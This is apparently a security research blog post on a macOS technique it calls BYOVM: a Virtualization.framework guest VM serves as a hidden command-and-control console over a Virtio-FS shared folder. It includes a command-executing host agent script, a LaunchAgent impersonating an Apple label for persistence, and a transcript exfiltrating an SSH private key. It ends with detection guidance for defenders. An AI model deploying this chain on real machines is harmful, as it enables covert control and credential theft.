Every modern Apple Silicon Mac ships with a hypervisor built into the operating system. Virtualization.framework the same backend behind Xcode, UTM, Docker Desktop, and Tart allows any unprivileged user to spin up a full macOS virtual machine. No root. No admin prompt. No third-party software. Just Apple's own signed APIs.
This post demonstrates how an attacker can weaponize this capability to establish a persistent, network-free command-and-control channel that is nearly invisible to current macOS EDR solutions. The technique requires zero exploits, zero privilege escalation, and zero external dependencies only the APIs Apple ships by default.
The Attack Surface: What Apple Gives You for Free
Since macOS 12, Virtualization.framework has been available as a first-party API. It provides:
- Full macOS guest VM support on Apple Silicon
- Virtio-FS - paravirtualized host-guest file sharing with no network layer
- User-level execution - the only requirement is a single entitlement applied via ad-hoc code signing
- Apple-signed code paths - the framework is signed by Apple, loaded from
/System/Library/Frameworks/
An attacker with unprivileged user access to a Mac can compile a small Swift binary, self-sign it with the virtualization entitlement, and launch a fully functional macOS VM, all without triggering a single admin prompt or privilege escalation dialog.
The entitlement required is minimal:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.virtualization</key>
<true/>
</dict>
</plist>
Build and sign with no Apple Developer account needed:
swiftc Launcher.swift -framework Virtualization -o vm_launcher
codesign --force --sign - --entitlements entitlements.plist vm_launcher
This produces a binary that macOS treats as a legitimate Virtualization.framework consumer, identical at the API level to Docker Desktop, Xcode, or any CI/CD VM runner.
The Technique: Virtio-FS as a Covert C2 Channel
The core of this technique abuses Virtio-FS Apple's built-in paravirtualized filesystem for sharing directories between a host Mac and a guest VM.
Virtio-FS is not a network protocol. It operates through direct memory-mapped I/O between the host and guest kernels. There are no sockets, no TCP connections, no DNS queries nothing that touches the network stack. To the operating system, it's just file I/O.
An attacker configures the VM with a shared directory:
let sharedDir = VZSharedDirectory(url: sharedFolderURL, readOnly: false)
let share = VZSingleDirectoryShare(directory: sharedDir)
let fsDevice = VZVirtioFileSystemDeviceConfiguration(tag: "c2share")
fsDevice.share = share
config.directorySharingDevices = [fsDevice]
On the host, this maps to a directory like ~/.vmc2/shared/ with two subdirectories:
~/.vmc2/shared/
├── tasks/ # Commands written by attacker (from inside VM)
└── results/ # Output written by host agent
Inside the guest VM, the share is mounted as a regular filesystem:
mkdir -p /Volumes/c2share
mount_virtiofs c2share /Volumes/c2share
This creates a bidirectional file channel between attacker (in the VM) and the host Mac with zero network IOCs.
The Attack Chain
The attack splits execution across a trust boundary that EDR cannot cross: the hypervisor.
┌──────────────────────────────────────────────────────┐
│ macOS Host (Target) │
│ │
│ ┌──────────────┐ ┌─────────────────────┐ │
│ │ EDR Agent │ │ Host Agent │ │
│ │ (watching) │ │ (file watcher only)│ │
│ └──────────────┘ └──────────┬──────────┘ │
│ │ │
│ ~/.vmc2/shared/ │ │
│ ┌───────┴───────┐ │ │
│ │tasks/ results/│◄──────┘ │
│ └───────┬───────┘ │
│ Virtio-FS │ (memory-mapped, no network) │
│ ═══════════════════╪═══════════════════════════════ │
│ ┌──────────────────┴─────────────────────────────┐ │
│ │ macOS Guest VM │ │
│ │ │ │
│ │ ┌──────────────────────────────────────────┐ │ │
│ │ │ Attacker C2 Console │ │ │
│ │ │ - command dispatch & scheduling | │ │
│ │ │ - exfiltration management │ │ │
│ │ │ - file staging (drop payloads to host) │ │ │
│ │ │ - command history & logging │ │ │
│ │ │ - persistence installation │ │ │
│ │ └──────────────────────────────────────────┘ │ │
│ │ │ │
│ │ Host EDR has ZERO visibility into this space │ │
│ └────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────┘
The attack chain has three components. Two run on the host, one inside the VM.
Component 1: VM Launcher
A Swift command-line tool that uses Virtualization.framework to:
- Download a macOS restore image via
VZMacOSRestoreImage.fetchLatestSupported - Create a VM bundle at
~/.vmc2/- disk image, auxiliary storage, machine identifier, hardware model - Configure
VZVirtualMachineConfigurationwith minimal resources (2 cores, 4GB RAM), a boot disk, and the Virtio-FS shared directory - Install macOS on first run, boot from disk on subsequent runs
The VM configuration uses standard Virtualization.framework APIs:
let config = VZVirtualMachineConfiguration()
config.bootLoader = VZMacOSBootLoader()
config.platform = macPlatform // VZMacPlatformConfiguration
config.cpuCount = 2
config.memorySize = 4 * 1024 * 1024 * 1024
// Disk
let disk = try VZDiskImageStorageDeviceAttachment(
url: URL(fileURLWithPath: diskImagePath), readOnly: false
)
config.storageDevices = [VZVirtioBlockDeviceConfiguration(attachment: disk)]
// Virtio-FS share — the C2 channel
let sharedDir = VZSharedDirectory(url: sharedFolderURL, readOnly: false)
let fsDevice = VZVirtioFileSystemDeviceConfiguration(tag: "c2share")
fsDevice.share = VZSingleDirectoryShare(directory: sharedDir)
config.directorySharingDevices = [fsDevice]
No admin privileges are required at any point. The VZMacOSInstaller handles the macOS installation entirely in userspace. The entire VM bundle lives in the user's home directory.
Component 2: Host Agent
The host-side component is deliberately minimal - a shell script with no C2 logic whatsoever:
TASKS_DIR="$HOME/.vmc2/shared/tasks"
RESULTS_DIR="$HOME/.vmc2/shared/results"
while true; do
for task_file in "$TASKS_DIR"/*.task; do
[ -f "$task_file" ] || continue
task_name=$(basename "$task_file" .task)
command=$(cat "$task_file")
result_file="$RESULTS_DIR/${task_name}.result"
# Execute and capture output
bash -c "$command" > "$result_file" 2>&1
# Remove the task file
rm -f "$task_file"
done
sleep 2
done
This is the entire host-side agent. It polls a directory for .task files, executes their contents via bash -c, writes stdout/stderr to a .result file, and deletes the task. No encoding, no encryption, no network code, no process injection. It's a file watcher that runs commands - indistinguishable from hundreds of legitimate automation tools.
This simplicity is the point. Everything that runs on the host is visible to EDR. By keeping the host component as a "dumb executor" with no malicious logic, there's almost nothing for behavioral detection to flag. The host agent doesn't know it's part of an offensive operation.
Component 3: Guest C2 Controller (Inside the VM)
All offensive logic lives inside the guest VM - where host EDR cannot see it.
The attacker runs an interactive console inside the VM that communicates with the host exclusively through the Virtio-FS shared folder:
vmc2> shell whoami
hari
vmc2> shell sw_vers
ProductName: macOS
ProductVersion: 14.5
BuildVersion: 23F79
vmc2> exfil /etc/hosts
[+] Exfiltrated: /etc/hosts -> ~/exfil/hosts
vmc2> shell ls ~/Desktop
important_doc.pdf
credentials.txt
The protocol is filesystem-based:
- Attacker types a command in the VM console
- Controller generates a UUID, writes the command to
tasks/<uuid>.task - Host agent picks up the file, executes it, writes output to
results/<uuid>.result - Controller polls for the result file, reads and displays it
- Both files are cleaned up
The controller supports several operations:
| Operation | What It Does |
|---|---|
shell <cmd> |
Execute arbitrary command on host |
exfil <path> |
Copy a file from host into the VM via the shared folder |
stage <file> [dest] |
Drop a payload from inside the VM onto the host filesystem |
persist |
Install a user-level LaunchAgent on the host for auto-start |
history |
View command history (stored only inside the VM) |
The exfil command is particularly notable it tasks the host agent to copy a file into the shared directory, then moves it into the VM's local storage. The exfiltrated data never touches a network interface. It moves from host filesystem to Virtio-FS share to guest filesystem all via memory-mapped file I/O.
The stage command works in reverse the attacker places a file into the shared directory from inside the VM, then tasks the host agent to move it to a target location on the host filesystem. This allows payload delivery without downloading anything from the internet.
Persistence
Persistence uses a standard user-level LaunchAgent - no root required:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.virtualization.helper</string>
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>${HOME}/.vmc2/host_agent.sh</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
</dict>
</plist>
The plist is written to ~/Library/LaunchAgents/com.apple.virtualization.helper.plist and loads on user login. The label uses the com.apple.virtualization prefix to blend with legitimate Apple services. The KeepAlive key ensures the host agent restarts if killed.
The attacker can install this from inside the VM via the persist command which writes the plist through the same Virtio-FS task/result mechanism. The VM launcher itself can be chained into the same persistence mechanism or launched separately.
# Load immediately
launchctl load ~/Library/LaunchAgents/com.apple.virtualization.helper.plist
Since the VM boots in seconds on subsequent runs (macOS is already installed on disk), the full attack chain is operational within moments of user login.
Why EDR Doesn't See This
Let's walk through each detection layer and examine what it observes.
Process Tree
EDR sees two processes:
vm_launcher:a process using Virtualization.framework. This is identical at the API level to Docker Desktop (com.docker.virtualization), UTM, Tart, Anka, and Xcode's device simulator. The framework is Apple-signed, loaded from/System/Library/Frameworks/. There is no behavioral difference between a legitimate VM and this one.bash host_agent.sh:a shell script executing commands and performing file I/O. The process tree showsbashspawning commands likewhoami,ls,cat. These are normal system commands. There's no parent-child relationship linking them to any known offensive tool.
What EDR cannot see: anything running inside the guest VM. The hypervisor boundary is enforced by hardware. Guest processes are not enumerable from the host. Guest memory is not readable from the host. The VM is an opaque container.
Network Monitoring
Zero network IOCs. The C2 channel is Virtio-FS paravirtualized filesystem I/O via shared memory between host and guest kernels. No sockets are created. No DNS queries are made. No TCP/UDP connections appear. DPI, SSL inspection, and network flow analysis are all completely blind.
The VM can have NAT networking for the initial macOS installation (downloading updates), but this can be removed from the configuration after setup. The operational C2 channel never touches the network stack.
Filesystem Monitoring
EDR sees file reads/writes in ~/.vmc2/shared/tasks/ and ~/.vmc2/shared/results/. These are normal file operations in a user's home directory. The .task files contain plaintext commands and .result files contain command output but they're ephemeral (created and deleted within seconds). Without understanding the file protocol, this looks like any application doing temporary file I/O.
Behavioral Analysis
The host agent's behavior profile is aggressively benign:
| Behavior | Suspicious? | Common In |
|---|---|---|
| Reads files from a directory | No | File watchers, build tools, IDEs |
| Executes shell commands | No | Automation scripts, cron jobs, CI |
| Writes output to files | No | Logging, build systems, scripts |
| No network connections | No | Local-only tools |
| No process injection | No | — |
| No privilege escalation | No | — |
| No unusual API calls | No | — |
| Runs from user home directory | Low | Many dev tools |
The individual commands executed (like whoami, cat /etc/hosts, cp) might trigger rules in isolation, but they're attributed to bash running under a file-watching script, not to any known offensive framework. There's no signature match. There's no known-bad parent process.
Memory Scanning
Virtualization.framework uses Apple's Hypervisor.framework under the hood, which leverages hardware-assisted virtualization on Apple Silicon. Guest VM memory is isolated at the hardware level. Host-side memory scanning whether by EDR, XProtect, or manual forensics cannot read the contents of guest VM memory. The attacker's C2 console, command history, exfil staging area, and all operational data reside exclusively inside the VM.
What EDR Sees vs. What's Actually Happening
| What EDR Observes | What's Actually Happening |
|---|---|
| Virtualization.framework process running | Attacker's C2 enclave is booting |
File created in ~/.vmc2/shared/tasks/ |
Attacker issued a command from the VM |
bash executes whoami |
Host agent blindly executing attacker's task |
File created in ~/.vmc2/shared/results/ |
Command output being passed back to attacker |
File deleted from tasks/ and results/ |
Evidence cleanup after each command |
| LaunchAgent loaded at login | Persistent C2 auto-starting |
Large disk image in ~/.vmc2/ |
Attacker's entire operational environment |
The Operational Workflow
From initial access to persistent C2, the full workflow looks like this:
Stage 1 - Deployment (requires initial access as unprivileged user)
# Drop the compiled binary and scripts (or compile on target)
swiftc Launcher.swift -framework Virtualization -o vm_launcher
codesign --force --sign - --entitlements entitlements.plist vm_launcher
# Install macOS in the VM (~15 min one-time)
./vm_launcher install
Stage 2 — Activation
# Boot the VM (seconds on subsequent runs)
./vm_launcher boot
# Start the host agent (separate process)
./host_agent.sh &
Stage 3 — Operation (from inside the VM)
# Mount the shared directory
mount_virtiofs c2share /Volumes/c2share
# Launch the C2 console
./guest_c2.sh
vmc2> shell id
uid=501(hari) gid=20(staff)
vmc2> shell cat ~/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
...
vmc2> exfil ~/.ssh/id_rsa
[+] Exfiltrated to VM local storage
vmc2> persist
[+] LaunchAgent installed — survives reboot
Stage 4 — Persistence
After persist, the host agent auto-starts on every user login. The attacker only needs to boot the VM (or chain VM boot into a second LaunchAgent) to reestablish the C2 channel.
BYOVM: Bring Your Own Virtual Machine
This technique belongs to a class of attacks I'm calling BYOVM — Bring Your Own Virtual Machine.
The concept is analogous to BYOVD (Bring Your Own Vulnerable Driver), where attackers load a legitimate but vulnerable driver to bypass kernel protections. In BYOVM, the attacker brings an entire OS instance as a trusted execution enclave.
The key properties that make BYOVM effective:
- Legitimate API usage — Virtualization.framework is Apple-signed and intended for user-level VM creation. There is no exploit. There is no vulnerability. The attacker uses the API exactly as documented.
- Hardware-enforced opacity — The hypervisor boundary is maintained by CPU-level virtualization support. EDR cannot cross it without Apple providing explicit guest introspection APIs (which currently don't exist for Virtualization.framework).
- No external dependencies — The entire chain uses Apple-native APIs and system utilities. Nothing is downloaded from the internet during operation. No third-party frameworks. No known-malicious binaries.
- Compositional weaponization — Each individual component is legitimate in isolation. VMs are legitimate. File sharing is legitimate. LaunchAgents are legitimate. File-watching scripts are legitimate. The attack is in the composition, not in any single component.
This is particularly concerning because organizations increasingly use Virtualization.framework in production — CI/CD runners (Tart, Anka, Cirrus), development environments (UTM), containerization (Docker Desktop on Apple Silicon). Blocking the framework entirely isn't practical.
Detection Guidance
This technique is not undetectable — but it requires defenders to look for specific signals that most current EDR rulesets don't cover.
1. Entitlement Auditing
Monitor for ad-hoc signed binaries with com.apple.security.virtualization. Legitimate VM tools (Docker, UTM, Xcode) are signed with proper developer identities. An ad-hoc signed binary in a user's home directory with this entitlement is anomalous.
# Check a binary's entitlements
codesign -d --entitlements - /path/to/binary
2. Virtualization.framework Process Profiling
Establish a baseline of which processes normally use Virtualization.framework in your environment. Alert on new or unexpected consumers, especially those running from user-writable paths (~/, /tmp/, /var/folders/).
3. LaunchAgent Label Inspection
Alert on user-level LaunchAgents using com.apple.* labels. Apple's own LaunchAgents are installed in /System/Library/LaunchAgents/ and /Library/LaunchAgents/ — anything in ~/Library/LaunchAgents/ with an Apple-style label is impersonation.
# Find suspicious LaunchAgents
find ~/Library/LaunchAgents -name "com.apple.*" 2>/dev/null
4. Virtio-FS Share Directory Monitoring
Watch for VM shared directories containing tasks/ and results/ subdirectories with rapid file creation/deletion cycles. This pattern — write, consume, delete — is characteristic of a file-based command channel.
5. VM Bundle Detection
Scan for unexpected VM bundles in user home directories. A ~/.vmc2/ directory (or similar) containing a large disk image, auxiliary storage, and machine identifier files indicates an undisclosed VM installation.
# Look for VM artifacts
find ~ -name "*.img" -size +10G 2>/dev/null
find ~ -name "machine_id" -o -name "hardware_model" -o -name "aux_storage" 2>/dev/null
6. Behavioral Correlation
While individual signals are weak, correlating them strengthens detection:
- Ad-hoc signed binary with virtualization entitlement + LaunchAgent persistence + file polling script + no network connections = high-confidence indicator of this technique.
Limitations
- Initial setup time: The first-run macOS installation takes ~15 minutes and requires a ~13GB restore image download. This makes the technique more suited to persistent access than rapid exploitation.
- Resource footprint: A macOS VM requires minimum 4GB RAM and ~20GB disk. On resource-constrained endpoints, this is noticeable.
- Latency: Virtio-FS adds ~100-500ms per command round-trip compared to in-process C2.
- TCC still applies: Commands executed by the host agent are subject to macOS Transparency, Consent, and Control (TCC). Accessing the camera, microphone, or certain directories may trigger user prompts.
- Requires user session: The VM runs as a user-level process. It doesn't survive across user accounts and requires an active (or auto-login) user session.
Conclusion
Apple's Virtualization.framework creates a unique offensive opportunity: a hardware-isolated execution enclave that runs without privileges, uses no network for C2 communication, and is indistinguishable from legitimate VM usage at the API level.
The attack splits the trust boundary perfectly — all detectable components on the host are benign (a file watcher, a VM process, a LaunchAgent), while all offensive logic lives inside the VM where host-side security tools have zero visibility. The C2 channel is Virtio-FS file I/O — no network layer for defenders to monitor.
For defenders, the key takeaway is that Virtualization.framework usage on endpoints should be profiled and monitored, especially ad-hoc signed binaries with virtualization entitlements. VM shared directories should be treated as potential C2 channels, not just developer convenience features.
The full POC consists of fewer than 300 lines across four files. Sometimes the most effective offensive techniques aren't the most complex — they're the ones that use exactly what the platform gives you.
Research conducted for educational purposes.